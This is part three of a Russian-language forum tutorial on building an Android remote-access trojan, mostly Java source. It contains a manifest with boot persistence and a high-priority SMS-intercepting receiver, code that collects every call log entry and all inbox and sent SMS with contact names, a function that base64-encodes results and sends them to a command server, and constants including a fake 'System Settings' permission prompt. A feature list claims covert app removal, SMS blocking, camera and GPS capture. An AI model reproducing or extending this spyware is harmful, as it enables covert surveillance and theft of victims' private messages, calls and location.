• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Свой RAT для Android - Часть 3

Что в следующей главе ?


  • Всего проголосовало
    34
Vorobyshek

Vorobyshek

Grey Team
11.09.2016
9
56
Содержание статьи:
  1. Приветствие
  2. Правка проекта
  3. Делаем крутой парсер функций вместо гавнокода
  4. Бонус
    1. Получение звонков
    2. Получение сообщений
  5. Заключение
1. Приветствие
1. Ссылка на первую статью
2. Ссылка на вторую статью

Ну что же, это третья статья, так что всем снова привет и добрый вечер. Жаль что у второй статьи на данный момент в 5 раз меньше просмотров чем у первой (1к против ~200), но надеюсь в дальнейшем темой заинтересуется больше людей т.к. то что будет в этой статье не находил нигде.
Если именно Вы вдруг находили часть материала из статьи в интернете, не стоит ругаться или говорить что автор обманул Вас, т.к. все равно большая часть информации есть в сети, а автор решил собрать её всю, обмозговать и выдать в простом формате сложные вещи (имхо).
Сегодня мы поправим наш манифест и создадим главную функцию, которая будет вызывать остальные, а так же будет получать анотации (информацию) функций. В дальнейшем этот функционал понадобится нам для управления ботом через Telegram так что опять же - это частично заготовка на будущее. Ну и раз уж в прошлой статье проголосовали и за получение сообщений и за получение звонков, то все это будет исполнено специально для Вас.

2. Правка проекта
Те кто начал делать проект по моим статьям, могли заметить что все равно есть ошибки и некоторые вещи просто могут не заработать. А для этого нам надо отредактировать файл манифеста.
У меня он выглядит так. Я не стал перечислять все разрешения в манифесте т.к. они указаны в одной из предыдущих статей.
XML:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.tranos.app">

    <uses-permission
        android:name="android.permission.GET_ACCOUNTS"
        android:maxSdkVersion="22" />

    <supports-screens
        android:resizeable="true"
        android:largeScreens="true"
        android:xlargeScreens="true" />

    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.VIBRATE" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:allowBackup="false"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="com.tranos.app.Application"
        android:theme="@style/AppTheme">
        <activity
            android:name=".MainActivity"
            android:excludeFromRecents="true"
            android:label="@string/app_name">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <activity
            android:name="com.tranos.app.modules.CameraView"
            android:excludeFromRecents="true">
        </activity>

        <service android:name="com.tranos.app.TranosService"
            android:enabled="true"
            android:exported="true"
            android:persistent="true">
        </service>

        <receiver android:name="com.tranos.app.ServiceReceiver"
            android:enabled="true"
            android:exported="true"
            android:persistent="true">
            <intent-filter android:priority="9999">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.SMS_DELIVER" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
    </application>
</manifest>
Вы наверное спросите что это за ServiceReceiver и CameraView т.к. они не встречались в предыдущих главах. А я отвечу что второй послужит нам для возможности делать фотографии с устройства, а первый класс - для перехвата сообщений и в целом он послужит неким передатчиком в нашем проекте (он получает состояние устройства, то есть включение/прием сообщения/звонков/отключение и включение экрана и многие другие состояния). У нас же его роль будет в перезапуске нашего сервиса, который получает команды, а так же в перехвате сообщений.
Так же стоит мигрировать на AndroidX (если вы не поставили галочку на andoidx при создании проекта) т.к. это позволит избежать в будущем некоторых проблем. Если вдруг у вас нет данного пункта, советую обновить Android Studio.
Свой RAT для Android - Часть 3
3. Делаем крутой парсер функций вместо гавнокода
Теперь пришла пора создать папку modules в нашем проекте. Название не особо играет для нас роль, но в этой папке будут хранится наши с вами вспомогательные файлы.
Свой RAT для Android - Часть 3
В ней создадим файл Reflection с таким содержанием. Проверим на сколько вы терпеливые. Код переписывать ручками (не бейте).
Свой RAT для Android - Часть 3
А дальше нам нужно создать наш класс с функциями, ну и еще с анотациями.
Java:
@Retention(RetentionPolicy.RUNTIME)
@interface customAnnotation {
    public String option() default "";
    public String help() default "";
    public String inf() default "";
    public String root() default "";
}

class Functions {

    private static void sendResult(String result, String server) {
        if(server.contains("test") || server.contains("telegram")){
            Logger.d(result); ]
        } else {
            try {
                queryStream(URL_SUCCESS + URLEncoder.encode(toBase64(result), "utf-8"));
            } catch (UnsupportedEncodingException e) {
                Logger.d("Непредвиденная ошибка");
            }
        }
    }

    private List<String> parseCommand(String input){
        return new ArrayList<>(Arrays.asList(input.split("[-_ ]")));
    }

    private boolean checkNull(String checker){
        return (!checker.isEmpty() && checker.trim() != "");
    }

    private boolean checkState(String state){
        return (state.contains("true") || state.contains("1") || state.contains("on"));
    }

    private void getMethods4Telegram(Class<?> cls) {
        Method[] methods = cls.getDeclaredMethods();
        String allMethods = "";
        for (Method method : methods) {
            List<String> type = new ArrayList<>(Arrays.asList(method.toGenericString().split(" ")));

            String anot = "";
            String help = "";
            String root = "";
            Annotation[] annotation = method.getDeclaredAnnotations();
            for (Annotation a : annotation) {
                customAnnotation self = (customAnnotation)a;
                anot = checkNull(self.option()) ? " [" + self.option() + "]" : "";
                help = checkNull(self.help()) ? " - " + self.help() : "";
                root = checkNull(self.root()) ? " (" + self.root() + ")" : "";
            }

            if(type.get(0).contains("public")) {
                allMethods += "/" + method.getName().replace("__", "")  + root + anot + help + "\n";
            }
        }
        sendResult("Для более детальной информации по конкретному методу вызовите\n/help имя_функции\n\n" + allMethods, TELEGRAM);
    }

    private void getMethod4Telegram(Class<?> cls, String m) {

        Method method = null;
        try {
            method = cls.getMethod("__" + m, String.class);
        } catch (NoSuchMethodException e) {
            sendResult(UNKNOWN_RESULT, "telegram");
        }

        String anot = "";
        String help = "";
        String root = "";
        String inf = "";
        Annotation[] annotation = method.getDeclaredAnnotations();
        for (Annotation a : annotation) {
            customAnnotation self = (customAnnotation)a;
            anot = checkNull(self.option()) ? " [" + self.option() + "]" : "";
            help = checkNull(self.help()) ? " - " + self.help() : "";
            root = checkNull(self.root()) ? " (" + self.root() + ")" : "";
            inf = checkNull(self.inf()) ? self.inf() : "";
        }

        String allMethod = "/" + method.getName().replace("__", "")  + root + anot + help + "\n" + inf;

        sendResult(allMethod, TELEGRAM);
    }

    @customAnnotation(option = "function", help = "справка по функциям")
    public void __help(String response){

        List<String> args = parseCommand(response);
        String server = args.get(args.size() - 1);

        try {
            Class<?> cls = Functions.this.getClass();
            if(!checkNull(args.get(0))) {
                Logger.d(args);
                getMethods4Telegram(cls);
            }
            else {
                Logger.d(args);
                getMethod4Telegram(cls, args.get(0));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void __test(String response) {
        Logger.d(parseCommand(response));
    }

    public void __test1(String response) {
        Logger.d(parseCommand(response));
    }

    public void __test2(String response) {
        Logger.d(parseCommand(response));
    }
}
Этот код вставляем чуть выше Reflection.
Свой RAT для Android - Часть 3
Мы бы конечно могли сделать проверку для каждой функции по типу if(response.containts("nameOfFunction")) { }, но зачем столько лишнего кода. Если честно, сначала я начал так делать, но как ленивый человек я подумал: "А как можно сделать это проще?". Вот так и вышел код сверху.

п.с. проще было бы гавнокодом

А теперь вперед разбираться в бреде что только что был написан.
Первое что мы видим - это наша функция sendResult, которая в дальнейшем будет отправлять наши команды в Telegram, а пока что она просто все выводит в консоль. В ней же мы видим функцию queryStream, которая находится (ну или через пару минут будет) в нашем сервисе TranosService (не забываем что названия у нас с вами могут различаться).
Java:
public static InputStream queryStream(String url) throws UnsupportedEncodingException {
    if(NetworkUtils.isNetworkAvailable()) {
        InputStream content = null;
        try {
            HttpClient httpclient = new DefaultHttpClient();
            HttpResponse response = httpclient.execute(new HttpGet(url));
            content = response.getEntity().getContent();
            httpclient.getConnectionManager().shutdown();
        } catch (Exception e) {

        }
        return content;
    }
    return null;
}
Дальше у нас parseCommand. Собственно эта функция будет парсить команды вида help_test function-hello. Почему такой синтаксис команд ? Так решил не великий Я. Чо пристали ?
Следом идет checkNull и checkState (checkNull следовало бы назвать checkNotNull), первая из которых проверяет не пустая ли у нас строка и, если не пустая то возвращает ТРУУУ, а вторая будет определять статус для функций (то есть надо ее включить или отключить).

А теперь самое интересное getMethods4Telegram и getMethod4Telegram. В чем разница, спросите Вы ? А те кто читал внимательно заметили дополнительную букву s в первом методе. Эта функция будет получать все публичные методы из нашего класса, а так же анотации и отправлять их в Telegram наш sendResult.
Выглядеть это будет так.
Это функционал, который уже работает (но его уже реализовано куда больше чем вы видите).

Свой RAT для Android - Часть 3
И вторая наша функция getMethod4Telegram будет получать help по определенной функции.
Свой RAT для Android - Часть 3
Вся информация получает из анотаций к методам. Перед функцией нужно написать.
Java:
@customAnnotation(inf = "эта инфа будет показана при просмотре хелпа по этой функции", root = "root права требуются", option = "первый аргумент", help = "справка по функциям")
ВАЖНО - ПЕРЕД НАЗВАНИЕМ ФУНКЦИИ СТАВИМ ДВА НИЖНИХ ПОДЧЕРКИВАНИЯ.

4.Бонус

Как я и говорил, мы сделаем получение звонков, а вместе с ними и сообщений. Заготовку для звонков мы сделали в предыдущей статье, сейчас же вам нужно будет дописать в BaseData код для сообщений.
Свой RAT для Android - Часть 3
Дописали ? Тогда приступаем к коду.
В папке mobilehardware создаем папку calls и в ней создаем три файла CallLogsBean, CallLogsHelper и CallLogsInfo. На самом деле файл Helper для по сути бесполезен, но я решил придерживаться структуры всех остальных файлов из этого пакета, поэтому и создал его. Файл Info будет получать и устанавливать всю нашу информацию в нужные нам переменные из Bean.
Java:
package com.tranos.app.mobilehardware.calls;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class CallLogsBean extends BaseBean {

    private static final String TAG = CallLogsBean.class.getSimpleName();

    private String callNumber;
    private String callName;
    private String callDate;
    private String callType;
    private String callDuration;

    public String getCallNumber() { return  callNumber; }
    public String getCallName() { return  callName; }
    public String getCallDate() { return  callDate; }
    public String getCallType() { return  callType; }
    public String getCallDuration() { return  callDuration; }

    public void setCallNumber(String callNumber) { this.callNumber = callNumber; }
    public void setCallName(String callName) { this.callName = callName; }
    public void setCallDate(String callDate) { this.callDate = callDate; }
    public void setCallType(String callType) { this.callType = callType; }
    public void setCallDuration(String callDuration) { this.callDuration = callDuration; }


    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.CallLogs.CALL_NUMBER, isEmpty(callNumber));
            jsonObject.put(BaseData.CallLogs.CALL_NAME, isEmpty(callName));
            jsonObject.put(BaseData.CallLogs.CALL_DATE, isEmpty(callDate));
            jsonObject.put(BaseData.CallLogs.CALL_TYPE, isEmpty(callType));
            jsonObject.put(BaseData.CallLogs.CALL_DURATION, isEmpty(callDuration));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }

}
Java:
package com.tranos.app.mobilehardware.calls;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class CallLogsHelper  extends CallLogsInfo {
    public static List<JSONObject> getAllCallLogs(Context context) {
        return getMobCallLogs(context);
    }
}
Java:
package com.tranos.app.mobilehardware.calls;

import android.content.Context;
import android.database.Cursor;
import android.provider.CallLog;

import android.util.Log;

import org.json.JSONObject;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;


public class CallLogsInfo {

    private static final String TAG = CallLogsInfo.class.getSimpleName();

    static List<JSONObject> getMobCallLogs(Context context) {
        List<JSONObject> callLogsList = new ArrayList<>();
        try {
            String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
            Uri callUri = Uri.parse("content://call_log/calls");

            String[] projection = { CallLog.Calls.NUMBER,
                                    CallLog.Calls.CACHED_NAME,
                                    CallLog.Calls.DATE,
                                    CallLog.Calls.DURATION,
                                    CallLog.Calls.TYPE,
                                  };

            Cursor cur = context.getApplicationContext().getContentResolver().query(callUri, projection, null, null, strOrder);

            while (cur.moveToNext()) {
                CallLogsBean listCallLogsBean = new CallLogsBean();
                listCallLogsBean.setCallNumber(cur.getString(0));
                listCallLogsBean.setCallName(cur.getString(1));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listCallLogsBean.setCallDate(formatter.format(new Date(Long.parseLong(cur.getString(2)))));
                listCallLogsBean.setCallDuration(cur.getString(3));
                listCallLogsBean.setCallType(cur.getString(4));
                callLogsList.add(listCallLogsBean.toJSONObject());
            }
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return callLogsList;
    }
}
И следом создаем папку sms с такими же названиями, только CallLogs замените на SMS.
Java:
package com.tranos.app.mobilehardware.sms;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class SMSBean extends BaseBean {

   private static final String TAG = SMSBean.class.getSimpleName();

    private String smsDate;
    private String smsThreadId;
    private String smsId;
    private String smsAddress;
    private String smsBody;
    private String smsName;
    private String smsType;

    public String getSmsDate() { return  smsDate; }
    public String getSmsTheardId() { return  smsThreadId; }
    public String getSmsId() { return  smsId; }
    public String getSmsAdress() { return  smsAddress; }
    public String getSmsBody() { return  smsBody; }
    public String getSmsName() { return  smsName; }
    public String getSmsType() { return  smsType; }

    public void setSmsDate(String smsDate) { this.smsDate = smsDate; }
    public void setSmsTheardId(String smsThreadId) { this.smsThreadId = smsThreadId; }
    public void setSmsId(String smsId) { this.smsId = smsId; }
    public void setSmsAdress(String smsAddress) { this.smsAddress = smsAddress; }
    public void setSmsBody(String smsBody) { this.smsBody = smsBody; }
    public void setSmsName(String smsName) { this.smsName = smsName; }
    public void setSmsType(String smsType) { this.smsType = smsType; }


    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.SMS.SMS_DATE, isEmpty(smsDate));
            jsonObject.put(BaseData.SMS.SMS_THERD_ID, isEmpty(smsThreadId));
            jsonObject.put(BaseData.SMS.SMS_ID, isEmpty(smsId));
            jsonObject.put(BaseData.SMS.SMS_ADRESS, isEmpty(smsAddress));
            jsonObject.put(BaseData.SMS.SMS_BODY, isEmpty(smsBody));
            jsonObject.put(BaseData.SMS.SMS_NAME, isEmpty(smsName));
            jsonObject.put(BaseData.SMS.SMS_TYPE, isEmpty(smsType));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}
Java:
package com.tranos.app.mobilehardware.sms;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class SMSHelper extends SMSInfo {

   public static List<JSONObject> getAllSms(Context context) {
        return getMobSMS(context);
    }
}
Java:
package com.tranos.app.mobilehardware.sms;

import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import com.orhanobut.logger.Logger;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class SMSInfo {

   private static final String TAG = SMSInfo.class.getSimpleName();

   static List<JSONObject> getMobSMS(Context context) {
        List<JSONObject> SmsList = new ArrayList<>();
        try {
            Uri callUri = Uri.parse("content://sms/inbox");
            Cursor cur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, null);
            while (cur.moveToNext()) {
                SMSBean listSMSBean = new SMSBean();
                listSMSBean.setSmsAdress(cur.getString(cur.getColumnIndex("address")));
                listSMSBean.setSmsBody(cur.getString(cur.getColumnIndex("body")));
                listSMSBean.setSmsId(cur.getString(cur.getColumnIndex("_id")));
                listSMSBean.setSmsType("inbox");
                listSMSBean.setSmsName(getContactName(context.getApplicationContext(), cur.getString(cur.getColumnIndexOrThrow("address"))));
                listSMSBean.setSmsTheardId(cur.getString(cur.getColumnIndex("thread_id")));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listSMSBean.setSmsDate(formatter.format(new Date(Long.parseLong(cur.getString(cur.getColumnIndex("date"))))));
                SmsList.add(listSMSBean.toJSONObject());
            }


            callUri = Uri.parse("content://sms/sent");
            cur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, null);
            while (cur.moveToNext()) {
                SMSBean listSMSBean = new SMSBean();
                listSMSBean.setSmsAdress(cur.getString(cur.getColumnIndex("address")));
                listSMSBean.setSmsBody(cur.getString(cur.getColumnIndex("body")));
                listSMSBean.setSmsId(cur.getString(cur.getColumnIndex("_id")));
                listSMSBean.setSmsType("sent");
                listSMSBean.setSmsName(getContactName(context.getApplicationContext(), cur.getString(cur.getColumnIndexOrThrow("address"))));
                listSMSBean.setSmsTheardId(cur.getString(cur.getColumnIndex("thread_id")));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listSMSBean.setSmsDate(formatter.format(new Date(Long.parseLong(cur.getString(cur.getColumnIndex("date"))))));
                SmsList.add(listSMSBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return SmsList;
    }

    private static String getContactName(Context context, String phoneNumber) {
        ContentResolver cr = context.getContentResolver();
        Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                Uri.encode(phoneNumber));
        Cursor cursor = cr.query(uri,
                new String[] { ContactsContract.PhoneLookup.DISPLAY_NAME }, null, null, null);
        if (cursor == null) {
            return null;
        }
        String contactName = null;
        if (cursor.moveToFirst()) {
            contactName = cursor.getString(cursor
                    .getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME));
        }
        if (cursor != null && !cursor.isClosed()) {
            cursor.close();
        }
        return contactName;
    }

}
5. Заключение
Статья вышла короткой, но это за счет достаточно большого количества кода так что уже не знаю чем бы ее еще разбавить. Сегодня мы сделали главную функцию, которая позволит нам запускать другие функции и это очень сильно поможет нашему проекту в будущем. В следующей статье я покажу вам как делать фотографии на смартфон, а так же напишем наш TranosReceiver и допишем TranosService, ну и понемногу будем дополнять функции в нашу программу. Кому доброго утра, кому доброй ночи, надеюсь статья понравилась и жду от вас отклик, если хотите продолжение.

Так же у вас будут ошибки т.к. я использовал константы в проекте, так что в папке modules создайте файл Constants и вставьте в него следующее.
Java:
package com.tranos.app.modules;

import android.Manifest;

public class Constants {

    //CLIENT
    public static final String URL_DEFAULT = "http://127.0.0.1/";
    public static final String URL_SUCCESS = URL_DEFAULT + "success.php?result=";
    public static final String URL_FUNCTION = URL_DEFAULT + "function.php?id=%s&key=%s";

    public static final String URL_BACKUP = "http://localhost/";
    public static final String URL_SUCCESS_BACKUP = URL_BACKUP + "success.php?result=";

    public static final String KEY = "secretkey";
    public static final String NUMBER = "321"; //number witch can send commands
    public static final String SECRET_CODE = "0000"; //code witch must be in the end of the sms -> test_hello_0000 / tEst hello-0000
    public static final String TELEGRAM_BOT_NAME = "";
    public static final String TELEGRAM_BOT_KEY = "";

    //HELPER
    public static final String TEST_FUNCTIONAL = "Функционал находится в разработке";
    public static final String UNKNOWN_RESULT = "Неизвестная ошибка (проверьте правильность команады)";
    public static final String NO_SUCH_RESULTS = "Нет совпадений по данному номеру";
    public static final String TELEGRAM = "telegram";

    //STATUS
    public static final String STATUS_SMS = "%s сообщений в %s режиме";
    public static final String STATUS_ROOT = "На устройстве %s root";

    //SUCCESS
    public static final String SUCCESS_FLASHLIGHT = "Фонарь успешно %s";
    public static final String SUCCESS_UNISTALL = "Программа успешно удалена";
    public static final String SUCCESS_BLOCK_SMS = "Блокировка сообщений успешно %s";
    public static final String SUCCESS_INTERCEPT_SMS = "Перехват сообщений успешно %s";
    public static final String SUCCESS_SEND_SMS = "Сообщение успешно отправлено на номер %s";
    public static final String SUCCESS_ROOT = "Root права успешно получены (но это не точно)";

    //ERROR
    public static final String ERROR_FLASHLIGHT = "Фонарь не удалось %s";
    public static final String ERROR_BLOCK_SMS = "Не удалось %s блокировку сообщений";
    public static final String ERROR_INTERCEPT_SMS = "Не удалось %s перехват сообщений";
    public static final String ERROR_GPS = "GPS не включен";
    public static final String ERROR_SEND_SMS = "Ошибка при отправке сообщения";
    public static final String ERROR_GET = "Произошла ошибка при получении %s";
    public static final String ERROR_ROOT_DENIED = "Запрос root прав отклонен";
    public static final String ERROR_ROOT_TIMEOUT = "Время ожидания истекло";
    public static final String ERROR_SHUTDOWN = "Не удалось выключить устройство";

    //PERMISSIONS
    public static final String PERMISSION_RATIONALE = "System Settings keeps your android phone secure. Allow System Settings to protect your phone?";
    public static final String[] PERMISSIONS = {
            Manifest.permission.READ_PHONE_STATE,
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.READ_SMS,
            Manifest.permission.SEND_SMS,
            Manifest.permission.RECEIVE_SMS,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.CHANGE_WIFI_STATE,
            Manifest.permission.RECORD_AUDIO,
            Manifest.permission.READ_FRAME_BUFFER,
            Manifest.permission.WRITE_SETTINGS,
            Manifest.permission.KILL_BACKGROUND_PROCESSES,
            Manifest.permission.CAMERA,
            Manifest.permission.INTERNET,
            Manifest.permission.ACCESS_NETWORK_STATE,
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.ACCESS_COARSE_LOCATION,
            Manifest.permission.WRITE_EXTERNAL_STORAGE,
    };
}
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @feature
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @feature (new)
    3. Удаление сообщение @todo
    4. Перехват сообщений @feature (new)
    5. Блокировка сообщений @feature (new)
    6. Отправка сообщений @feature (new)
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @todo
    6. Запись звонков
  6. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение данных GPS @feature
  9. Получение списка контактов с телефона @feature
  10. Получение медиа (фотографий) @feature
  11. Доступ к проводнику (доступ к файловой системе)
  12. Получение информации об устройстве (куда же без нее) @feature
  13. Проверка есть ли Root права @feature (new)
  14. Проверка есть ли Root права у программы @feature (new)
  15. Получение Root прав @feature (new)
  16. Перезагрузка (root) @feature (new)
  17. Выключение (root) @feature (new)
  18. Получение буфера обмена @feature (new)
  19. Управление фонарем устройства @feature (new)
  20. Скрытное удаление программ (root) @feature (new)
  21. Управление смартфоном
    1. Громкость @todo
    2. Яркость @todo
    3. Обои
    4. Прочее
 
Vorobyshek

Vorobyshek

Grey Team
11.09.2016
9
56
В будущем они исправятся или что-то не то делаю?
А ещё на это разрешение ругается
Manifest.permission.READ_FRAME_BUFFER лучше будет удалить т.к. он не понадобится (по крайней мере пока).

А вот на счет toBase64, выложу еще в следующих статьях, но на всякий и тут оставлю (у меня он находится в TranosService).
Java:
public static String toBase64(String message) {
    byte[] data;
    try {
        data = message.getBytes("UTF-8");
        String base64Sms = Base64.encodeToString(data, Base64.DEFAULT);
        return base64Sms;
    } catch (UnsupportedEncodingException e) {

    }
    return null;
}
И на счет isNetworkAvailable, то эта функция находится по пути mobilehardware -> tools -> utilcode -> util -> NetworkUtils.java
Свой RAT для Android - Часть 3
 
  • Нравится
Реакции: Sgyun
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб